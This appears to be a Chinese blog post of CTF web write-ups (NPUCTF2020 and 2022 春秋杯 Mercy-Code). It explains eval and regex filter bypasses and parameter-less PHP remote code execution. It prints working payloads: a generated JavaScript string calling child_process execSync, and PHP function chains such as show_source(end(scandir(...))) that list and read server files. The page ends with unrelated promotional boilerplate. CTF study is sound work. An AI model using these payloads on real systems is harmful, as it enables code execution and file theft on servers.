3月19日做题

[NPUCTF2020]验证🐎

  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))

用数组绕过first='1'&second=[1]
这里正则规律过滤位(Math.)

(?:Math(?:\.\w+)?) : 匹配 “Math” 后面可能跟着一个点和任意单词字符的部分,整个部分是一个非捕获型分组。
| : 或运算符,表示两边任选其一。
[()+\-*/&|^%<>=,?:] : 匹配括号、加号、减号、乘号、除号、与操作符、或操作符、异或操作符、取模操作符、小于号、大于号、等于号、逗号、冒号和问号中的任意一个字符。
| : 或运算符
(?:\d+\.?\d*(?:e\d+)?) : 匹配数字,可以包括小数点和科学计数法表示。
| : 或运算符
/g : 匹配空格
function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

最好用脚本,burp容易出错

抄的脚本

import re 
encode = lambda code: list(map(ord,code)) 
#decode = lambda 
code: "".join(map(chr,code)) a=f""" (m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) """ print(a+'\n') a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") print(a)

2022春秋杯冬季赛

ez_php

在这里插入图片描述

2022年春秋春季赛

Mercy-Code

无参数rce的plus
在这里插入图片描述
过滤比较严格,通过两个脚本,找到所有内置函数,和可以使用的函数

<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
 echo fputs($file,$key."\r\n");
}
fclose($file);
?>

这里我写一个关于无参数rce的总结,之前一直遇到就是传统的无参数,没有过滤函数。

RCE主题之无参数

常规的无参数rce题目,要求字母开头跟着()镶嵌.
举例

var_dump(get_cwd());
system(next(getallheaders()));

这种形式可以符合题型要求

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
    eval(\$_GET['star']);
}

但如果题目进行升级,过滤var_dump,system等这些常规函数,有哪些特别函数可以用来进行rce,又该如何构造?
这里以[2022春秋杯]Mercy-code来进行讲解,明显发现题目变化主要在过滤,\w换成了[a-z_]其实就是大写和数字去掉了,本来也不影响的。

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
    $cmd = $_POST['cmd'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
        if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
            die('What are you thinking?');
        } else {
            eval($cmd);
        }
    } else {
        die('Please calm down');
    }
}

这里因为能力有限,脚本函数都是取自大佬的,根源是谁也不知道,但学习就对了。
获取PHP内置函数

<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
 echo fputs($file,$key."\r\n");
}
fclose($file);
?>

查找能使用的函数

import re
f = open('function.txt','r')
for i in f:
    function = re.findall(r'/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i',i) 
    if function == [] and not '_' in i:
        print(i)

这里能找到很多函数,我是从别人的经验里总结了几种方法

uniqid(),这个函数前部分的内容是不变的,每次改变的是后面的内容,自己多次运行后发现前五位是不变的
在这里插入图片描述

strrev() 函数将字符串反转
在这里插入图片描述

chr 生成ASCII的对应字符
那我们通过strrev取出随机的unqid产生的数字进行转码就能有机会构造出.
我们目标就是先构造能读取当前目录的函数表达式
通过这脚本可以发现是有机会生成.的

<?php
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>

在这里插入图片描述
这里有一点注意,只有php7版本以下对类型不敏感,否则会报错显示chr('12313123')这种无法转化字符串的.
scandir() 返回目录
生成
scandir(chr(strrev(unqid))
找到implode函数
implode() 将一维数组转换成字符串
die() 结束进程,并输出内容,等同于 exit()
echo 可以用die代替
发现成功
在这里插入图片描述
发现疑似flag文件在尾部
然后就是读取文件,这里利用end()函数得到文件名

end() 将数组的内部指针指向最后一个单元
show_source() 语法高亮一个文件 highlight_file() 别名
show_source可以用file代替
成功

cmd=show_source(end(scandir(chr(strrev(uniqid())))));

在这里插入图片描述
但这里我们如果再提高难度,不在当前目录怎么办?,在上一级的目录
chdir(‘…’) 是 PHP 中用于改变当前工作目录的函数要跳转到上层目录需要构造两个点即chdir('..')
从当前目录返回的值我们有经验知道第二个数组里面就是'..',我们可以用next来获取第二个数值

cmd=echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));

成功
在这里插入图片描述
还有人问根目录呢?前面随机里本就有/出现,同样可以读取到。
再增加难度,如果说这个unqid不能使用怎么办.

方法plus

搜索headers头查找到apache_request_headers()

发现end(apache_request_headers()可以获得80

通过三角函数我们尝试去获得46,chr(46)=‘.’
ceil() 是 PHP 中用于向上取整的函数
在这里插入图片描述
具体方法自己调试
得到如下payload

ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers()))))))))) // 通过运算得到 46 
然后我们找到flag位置输出即可

cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers())))))))))))));

除此之外其实还有很多例如
cmd=show_source(end(scandir(next(each(str_split(spl_autoload_extensions()))))));
大家可以自己去研究尝试一下,也许下一次的题就是出题人自己研究的。

  • 23
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。
2021年313,蓝桥杯程序设计竞赛一如既往的如期举行。本次比赛为steam组,一共有1400余人参加比赛。作为一项全球性的计算机技术竞赛,蓝桥杯已经深入人心,成为了许多计算机专业学生展示才华、提升能力的平台。 本次比赛的题目难度适中,一共有4道题目,难度较为均衡。其中第一题为计算机基础知识考察,要求选手运用基本的C语言知识进行计算。第二题为双倍经验卡,要求选手模拟游戏中购买双倍经验卡所需要的金币数目。第三题为邮轮游戏,需要选手模拟游戏中乘坐邮轮的过程,判断乘客是否需要购买餐券。第四题为吃饱了没呢,考察选手的逻辑思维能力,需要选手通过对数据的分析和处理,输出正确的结果。 本次比赛在考验选手的编程能力之外,更加强调选手的代码规范和开发能力。在提交代码时,要求选手使用规范的命名、缩进、注释等方式使代码更易于阅读和维护。同时,提交的代码还需要考虑运行效率和内存限制等问题,在保证正确性的前提下,选手需要尽可能地优化代码。 总的来看,本次蓝桥杯比赛考察了选手的计算机基础知识、C语言编程能力、逻辑思维能力和代码规范性等多个方面。为广大计算机专业学生提供了一个展示自己才华和提升自身能力的绝佳机会。相信经过这样的锤炼和磨练,大家对于编程的理解和掌握会更加深刻和透彻。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值